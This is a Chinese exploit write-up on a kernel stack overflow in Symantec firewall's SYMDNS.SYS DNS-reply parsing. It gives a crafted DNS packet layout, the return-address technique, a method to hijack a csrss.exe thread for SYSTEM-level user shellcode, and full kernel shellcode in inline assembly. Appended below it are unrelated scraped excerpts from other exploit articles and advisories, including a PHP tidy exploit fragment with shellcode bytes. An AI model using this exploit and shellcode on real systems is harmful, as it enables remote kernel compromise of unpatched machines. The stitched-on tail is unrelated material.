SYMANTEC防火墙内核溢出漏洞利用之安全返回法

安全|防火墙

作者:SoBeIt   来自:https://www.xfocus.net

这个漏洞发生在SYMDNS.SYS中,当处理DNS答复时,由于未检验总域名长度,导致可以输入一超长域名导致溢出,溢出发生在RING0、IRQL = 2(DISPATCH_LEVEL)、 进程PID为0(idle进程)的环境下。

    一个DNS报文格式如下:
    "\xEB\x0B"    //报文ID,可以随意设置,但在这个漏洞里是别有用途的,后面会说到
    "\x80\x00"    //报文FLAG,15位置1表示这是一个答复报文
    "\x00\x01"    //问题数量
    "\x00\x01"    //答复数量
    "\xXX\xXX"    //授权资源记录数,在这里不重要,随便设置
    "\xXX\xXX"    //格外信息资源记录数,在这里不重要,随便设置
    以上部分为DNS报文头
    "\xXX\xXX\x..."    //域名,格式为每个分段域名长度+域名内容,比如www.buaa.edu.cn就是
\x03\x77\x77\x77\x04\x62\x75\x61\x61\x03\x65\x64\x75\x02\x63\x6e\x00
      w   w   w       b   u   a   a       e   d   u       c   n
\x00表示到了末尾。处理的时候会把那长度记录数换成0x2e,就是".",就完成了处理。

    在SYMDNS.SYS中处理传入域名的函数位于SYMDNS.SYS基地址+0xa76处,这个函数在堆栈里分配了足够的空间(事实上,最后SHELLCODE的执行并不是在堆栈中执行,而是在非分页池中执行)。传入的域名有最大长度限制,不能超过0x40个字节,所以我每段SHELLCODE长度都是0x3f(63)个字节。在覆盖了532个字节后,覆盖了第二个调用的返回地址,至于为什么没覆盖第一个调用的返回地址我也不太清楚。这个漏洞有个特点,就是在堆栈中二次处理传入的域名,导致堆栈中SHELLCODE后半部分面目全非、惨不忍睹。但很幸运的是在我们覆盖的返回地址所在的esp+0xc处保存有我们整个DNS报文(包括DNS报文头)的地址,是一个在非分页池的地址,

74816d74 4c816c9b 816d002e 816c9e34
  |_____esp指向这                 |_______这个就是非分页池的地址

现在大家应该知道该干啥了吧?虽然在内核里没有固定的jmp [esp+0xc]、 call [esp+0xc]这样的地址,但我们可以变通一下,使用诸如pop/pop/pop/ret这样的指令组合,机器的控制权就交到我们手上了。不过这3条pop指令里最好不要带有pop ebp,不然会莫名其妙的返回到一个奇怪的地址。在strstr函数的最后有两个pop/pop/pop/ret的组合挺合适。现在明白开头那个报文ID的作用了吧?\xEB\x0B是一个直接跳转的机器指令,跳过一开始没用的DNS报文头和第一段SHELLCODE长度计数字节。FLASHSKY在会刊里说要跳过长度计数字节,但0x3f对应的指令是aas,对EAX进行ascii调整,所以在一般不影响EAX和标志的情况下可以把这个0x3f也算作SHELLCODE的一部分,可以省下不少字节^_^。

    现在当前环境是0号进程,要把进程地址空间切到其他进程就得先获得那个进程的EPROCESS地址。0号进程很特别,就是该进程基本不挂在所有进程的链表上,比如说ActiveProcessLinks、SessionProcessLinks、WorkingSetExpansionLinks,正常情况来说只能枚举线程的WaitListHead来枚举所有线程并判断进程,这样很麻烦而已代码很长,但天无绝人之路,在KPCR+0x55c(+55c struct _KTHREAD *NpxThread)处保存有一个8号进程的一个线程ETHREAD地址,由ETHREAD+0x44处可以获得该线程所属EPROCESS的地址,而且8号进程是挂在除SessionProcessLinks之外的其它链表上的。下一步是切换进程地址空间,从目标进程EPROCESS+0x18处取出该进程页目录的物理地址并将当前CR3寄存器修改为该值既可(我一开始还修改了任务段KTSS中的CR3也为该值,结果发现这不是必须的)。然后在该进程内选择一个合适的线程来运行我们的用户态SHELLCODE,这个选择很重要,因为当前IRQL = 2,任何访问缺页的地址都将导致IRQL_NOT_LESS_OR_EQUAL蓝屏错误,因为缺页会导致页面I/O,最后会在对象上等待,这违背了不能在IRQL = 2等待对象的规则。按照一个标准的5调度状态模型的操作系统,当一个线程等待过久就会导致该线程的内核堆栈被换出内存,这样的线程我们是不能用的。所以我们需要判断ETHREAD+=0x11e(+11e    byte     KernelStackResident)是否为TRUE。这又关系到究竟该选择哪个系统进程,选择系统进程这样返回的SHELL是SYSTEM的权限,该进程必须是个活跃的进程,才能保证每时每刻都有未被换出内存的线程。winlogon.exe是肯定不行的,因为在大多情况下这是一个0工作集进程。在lsass.exe、smss.exe、csrss.exe这3个进程里我最后选择了csrss.exe,因为WIN32的子系统无论怎样都应该闲不住吧:),事实也证明选择这个进程基本都可以找到合适线程。枚举一个进程的线程可以在EPROCESS+0x50处取链表头,该链表链住了该进程的所有线程,链表位置在ETHREAD+0x1a4处:
struct _EPROCESS (sizeof=648)
+000 struct _KPROCESS Pcb
+050 struct _LIST_ENTRY ThreadListHead
+050 struct _LIST_ENTRY *Flink
+054 struct _LIST_ENTRY *Blink

struct _ETHREAD (sizeof=584)
+000 struct _KTHREAD Tcb
+1a4 struct _LIST_ENTRY ThreadListEntry
+1a4 struct _LIST_ENTRY *Flink
+1a8 struct _LIST_ENTRY *Blink
或者EPROCESS+0x270处取链表头,链表位置在ETHREAD+0x240处:
struct _EPROCESS (sizeof=648)
+270 struct _LIST_ENTRY ThreadListHead
+270 struct _LIST_ENTRY *Flink
+274 struct _LIST_ENTRY *Blink

struct _ETHREAD (sizeof=584)
+240 struct _LIST_ENTRY ThreadListEntry
+240 struct _LIST_ENTRY *Flink
+244 struct _LIST_ENTRY *Blink   

    剩下的就是在该进程地址空间内分配虚拟地址,锁定,并拷贝SHELLCODE过去,依次调用API为:ZwOpenProcess(这里要注意,如果没改变CR3的话这个调用会导致蓝屏,因为地址空间不符)->ZwAllocateVirtualMemory->ZwLockVirtualMemory->ZwWriteVirtualMemory,为了通用性我用mov eax, API NUMBER; int 2e这样的底层接口来调用API。在调用ZwWriteVirtualMemory之前我们得先修改该线程下次要执行的EIP,它是保存在KTRAP_FRAME+0x68处,把它修改为我们分配的地址。KTRAP_FRAME在线程堆栈底-x29c的地方,ETHREAD+0x128直接指向该地址。记得将原来的EIP保存在我们的用户态SHELLCODE中,类似push 0x12345678; ret这样的格式,代码就会返回12345678的地址,所以在内存中就是\x68\x78\x56\x34\x12\xc3,覆盖那个12345678就行了,在执行完我们的功能代码后线程会恢复正常执行。

    最后一段是一些固定的针对该漏洞的特征返回,恢复一些寄存器值,把ESP指向返回地址并让EBP恢复正常。这里我跳过了所有剩下的在SYMDNS.SYS的调用,因为那样会从堆栈中取值,而堆栈值很多都被我们改了,所以我直接返回到tcpip!UDPDeliver处的调用,返回这里有个好处,就是它完全不管你处理了什么、怎么处理,它只管检测返回值,很符合我们的要求,呵呵。

    这个SHELLCODE大概只有3/4的成功率,因为在有些情况下我们的DNS报文的地址不附加在esp+0xc处,还有有时会碰到进程所有线程都被换出了内存,还有一定的小概率会发生NDIS死锁-_-有时候RP爆发时一天都没啥问题,有时虚拟机狂蓝屏。。。所以我的利用方法还不很成熟,还希望大家一起来讨论完善。有关内核溢出里最大的问题估计就是缺页的问题了,由于IRQL = 2下不能换页,所以有些情况下很可能有些关键的地方访问不了。一些变通的方法可以使用诸如work item,这可以在IRQL = 2下调用,然后由系统工作者线程来替我们完成工作。这都是些改进设想。搞定了安全返回的方法,现在正在KO非安全返回,估计也不是很难,但就是估计SHELLCODE会大很多。
   
    峰会上由于FLASHSKY大牛不肯透露源代码,所以只好自己动手,丰衣足食了。这段时间由于得复习补考(上学期一不小心挂了4门#_#),所以拖了这么久。其实代码很早就写好了,就是懒得写这篇文档。今早终于下定决心花了一上午完成了这篇文档,估计难免有什么错误,望大家指出。   

    SHELLCODE由内核SHELLCODE和用户SHELLCODE组成,内核SHELLCODE负责返回并执行用户SHELLCODE,用户SHELLCODE则是普通的功能,注意得加入穿防火墙的代码就行。下面是内核SHELLCODE代码,转成机器码只有260多个字节,基本不算太大:):
   
__declspec(naked) JustTest()
{   
    __asm
    {
        call go1
go1:
        pop eax
        push eax
        mov ebx, 0xffdff55c
        mov ebx, dword ptr [ebx]
        mov ebx, dword ptr [ebx+0x44]

        push 0x73727363
FindProcess:
        mov edi, esp
        lea esi, dword ptr [ebx+0x1fc]
        push 0x4
        pop ecx
        repe cmpsb
        jecxz go2
        mov ebx, dword ptr [ebx+0xa0]
        sub ebx, 0xa0
        jmp FindProcess
go2:       
        pop edx
        mov edx, dword ptr [ebx+0x50]
FindThread:
        movzx ecx, byte ptr [edx-0x86]
        dec ecx
        jecxz go3
        mov edx, dword ptr [edx]
        jmp FindThread
go3:
        mov eax, dword ptr [ebx+0x18]
        mov ebp, esp
        sub esp, 0x40
        push edx
        mov cr3, eax

        push 0x10
        pop ecx
        xor eax, eax
        lea edi, dword ptr [ebp-0x40]
ZeroStack:
        stosd
        loop ZeroStack
        mov byte ptr [ebp-0x38], 0x18
        lea edi, dword ptr [edx+0x3c]
        push edi
        lea edi, dword ptr [ebp-0x38]
        push edi
        lea edi, dword ptr [ebp-0x8]
        push 0x1f0fff
        push edi

        mov al, 0x6a
        lea edx, dword ptr [esp]
        int 0x2e
        add esp, 0x10
        test eax, eax
        jnz Failed

        mov byte ptr [ebp-0x3], 0x2
        push 0x40
        push 0x1000
        lea edi, dword ptr [ebp-0x4]
        push edi
        push eax
        lea edi, dword ptr [ebp-0xc]
        push edi
        push dword ptr [ebp-0x8]

        mov al, 0x10
        lea edx, dword ptr [esp]
        int 0x2e
        add esp, 0x18
        test eax, eax
        jnz Failed

        push 0x2
        lea ebx, dword ptr [ebp-0x4]
        push ebx
        lea ebx, dword ptr [ebp-0xc]
        push ebx
        push dword ptr [ebp-0x8]

        mov al, 0x59
        lea edx, dword ptr [esp]
        int 0x2e
        add esp, 0x10
        test eax, eax
        jnz Failed

       mov edi, dword ptr [ebp]
        pop edx
        mov edx, dword ptr [edx-0x7c]
        push dword ptr [edx+0x68]
        pop dword ptr [edi+0x210]
        push dword ptr [ebp-0xc]
        pop dword ptr [edx+0x68]
        add edi, 0x11c

        push eax
        push 0x120
        push edi
        push dword ptr [ebp-0xc]
        push dword ptr [ebp-0x8]
       
        mov al, 0xf0
        lea edx, dword ptr [esp]
        int 0x2e
        add esp, 0x14

Failed:
        add esp, 0xec
        xor eax, eax
        mov esi, dword ptr [esp+0x38]
        mov ebp,esp
        add ebp,0x88
        ret 0x2c
    }
}

PS:存在该漏洞的SYMANTEC产品有:
*    - Symantec Norton Internet Security 2002
*    - Symantec Norton Internet Security 2003
*    - Symantec Norton Internet Security 2004
*    - Symantec Norton Internet Security Professional 2002
*    - Symantec Norton Internet Security Professional 2003
*    - Symantec Norton Internet Security Professional 2004
*    - Symantec Norton Personal Firewall 2002
*    - Symantec Norton Personal Firewall 2003
*    - Symantec Norton Personal Firewall 2004
*    - Symantec Client Firewall 5.01, 5.1.1
*    - Symantec Client Security 1.0, 1.1, 2.0(SCF 7.1)
*    - Symantec Norton AntiSpam 2004

该代码在windows2000 Pro build 2195 sp4的虚拟机上测试通过,WINXP原理一样。

时间: 2024-11-01 22:01:06

SYMANTEC防火墙内核溢出漏洞利用之安全返回法的相关文章

Linux堆溢出漏洞利用之unlink

Linux堆溢出漏洞利用之unlink 作者:走位@阿里聚安全 0 前言 1 背景介绍 首先,存在漏洞的程序如下: 在代码[3]中存在一个堆溢出漏洞:如果用户输入的argv[1]的大小比first变量的666字节更大的话,那么输入的数据就有可能覆盖掉下一个chunk的chunk header--这可以导致任意代码执行.而攻击的核心思路就是利用glibc malloc的unlink机制. 上述程序的内存图如下所示: 2 unlink技术原理 2.1 基本知识介绍 unlink攻击技术就是利用"gl

安卓内核UAF漏洞利用探秘

 雷锋网编者按:8月16日,第三届中国互联网安全领袖峰会(CSS 2017)在北京国家会议中心召开.作为九大分会场之一的腾讯安全探索论坛(TSec)以"安全新探索"为主题,云集了国际知名厂商及顶尖高校的资深安全专家,探讨全球信息安全领域前沿技术.研究成果及未来趋势.来自腾讯安全科恩实验室的方家弘.申迪分享了面对安卓内核中存在的UAF漏洞数量不断变小.利用难度逐渐变大的现状,将如何稳定高效地利用这类漏洞来完成操作系统提权. 方家弘:大家下午好!我是来自腾讯安全科恩实验室的方家弘,我和我的

无Sockets的远程溢出漏洞利用方法

本文讲的是无Sockets的远程溢出漏洞利用方法,在本文中,我将介绍一种在一个易受攻击的远程机器上获得shell访问的简单技术(这仅仅是我个人的观点).这不是我自己创造的技术,但我发现它很有趣.所以,本文的重点是这种技术本身,而不是利用漏洞的方式. 设置你的环境 所以,为了专注于制作远程shellcode,而不是如何规避ASLR,不可执行堆栈等(这将需要大量的篇幅进行介绍),我们将在测试中禁用大多数类似的功能.一旦你准备好了shellcode,便可以重新启用ASLR保护并尝试再次进行程序的漏洞利

PHP 5.2.3 tidy扩展本地溢出漏洞利用代码_安全教程

复制代码 代码如下: <?php  if (!extension_loaded("tidy")){die("you need Tidy extension loaded!");}  $scode =  "\xfc\xbb\xc7\xc4\x05\xc9\xeb\x0c\x5e\x56\x31\x1e\xad\x01\xc3\x85".  "\xc0\x75\xf7\xc3\xe8\xef\xff\xff\xff\x3b\x2c\x

Linux内核中的递归漏洞利用

背景知识 在Linux系统中,用户态的栈空间通常大约是8MB.如果有程序发生了栈溢出的话(比如无限递归),栈所在的内存保护页一般会捕捉到. Linux内核栈(可以用来处理系统调用)和用户态的栈很不一样.内核栈相对来说更短:32位x86架构平台为4096byte , 64位系统则有16384byte(内核栈大小由THREAD_SIZE_ORDER 和 THREAD_SIZE 确定).它们是由内核的伙伴内存分配器分配,伙伴内存分配器是内核常用来分配页大小(以及页大小倍数)内存的分配器,它不创建内存保

Linux内核RCE漏洞CVE-2016-10229 Linux kernel 4.5以下版本可能被攻击者利用进行DoS攻击

在早些年,总有人说Linux很安全,但近几个月Linux内核的漏洞屡次出现,在2016年中的时候还爆出 linux内核入侵者被抓获 事实证明linux早就被黑客盯上了 .这次漏洞由于涉及面也不小,绿盟科技发布安全威胁通告. 近日,Linux内核爆出一则高危漏洞(CVE-2016-10229,CNNVD-201703-210),在Linux 4.5之前的系统内核中,当recv以MSG_PEEK标志位被调用时,攻击者可以通过UDP来触发一个不安全的二次校验和计算,以此来远程执行代码,可能导致系统被控

我是如何发现CCProxy远程溢出漏洞的_漏洞研究

CCProxy是一个国产的支持HTTP.FTP.Gopher.SOCKS4/5.Telnet.Secure(HTTPS).News(NNTP). RTSP.MMS等代理协议的代理服务器软件.因为其简单易用.界面友好,非常适合在对流量要求不高的网络环境中使用,所以在国内有很多初级的网管喜欢用这个软件,有时候我在公司上网也要用它做代理.前些日子我测试发现CCProxy 6.0版本存在多处缓冲区溢出漏洞,可以导致攻击者远程执行任意代码.    TIPS:什么是Gopher.RTSP.MMS?    G

Oracle 8i TNS Listener 缓冲区溢出漏洞

Oracle 8i TNS Listener 缓冲区溢出漏洞 (Other,缺陷)     Oracle 8i 发现重大漏洞,允许攻击者执行任意代码 详细: Oracle 8i TNS (Transparent Network Substrate) Listener 负责建立和维系客户机同 ORACLE 数据库服务的远程连接.发现该 Listener 存在缓冲区溢出漏洞.攻击者成功利用此漏洞,将能在数据库服务器上执行任意代码. 更为糟糕的是,缓冲溢出发生在验证之前,这意味着激活了口令保护机制的

PHP 内存管理器符号比较多个溢出漏洞

受影响系统:PHP PHP 5.2.0 不受影响系统:PHP PHP 5.2.1 描述:BUGTRAQ ID: 23238 PHP是广泛使用的通用目的脚本语言,特别适合于Web开发,可嵌入到HTML中.PHP的内存管理器实现上存在漏洞,本地攻击者可能利用此漏洞提升权限.如果通过emalloc()函数分配内存的话,PHP中新的Zend内存管理器会在内部的_zend_mm_alloc_int()函数中处理这个请求,首先使用ZEND_MM_TRUE_SIZE宏判断所请求内存块的真实大小,如下所示: s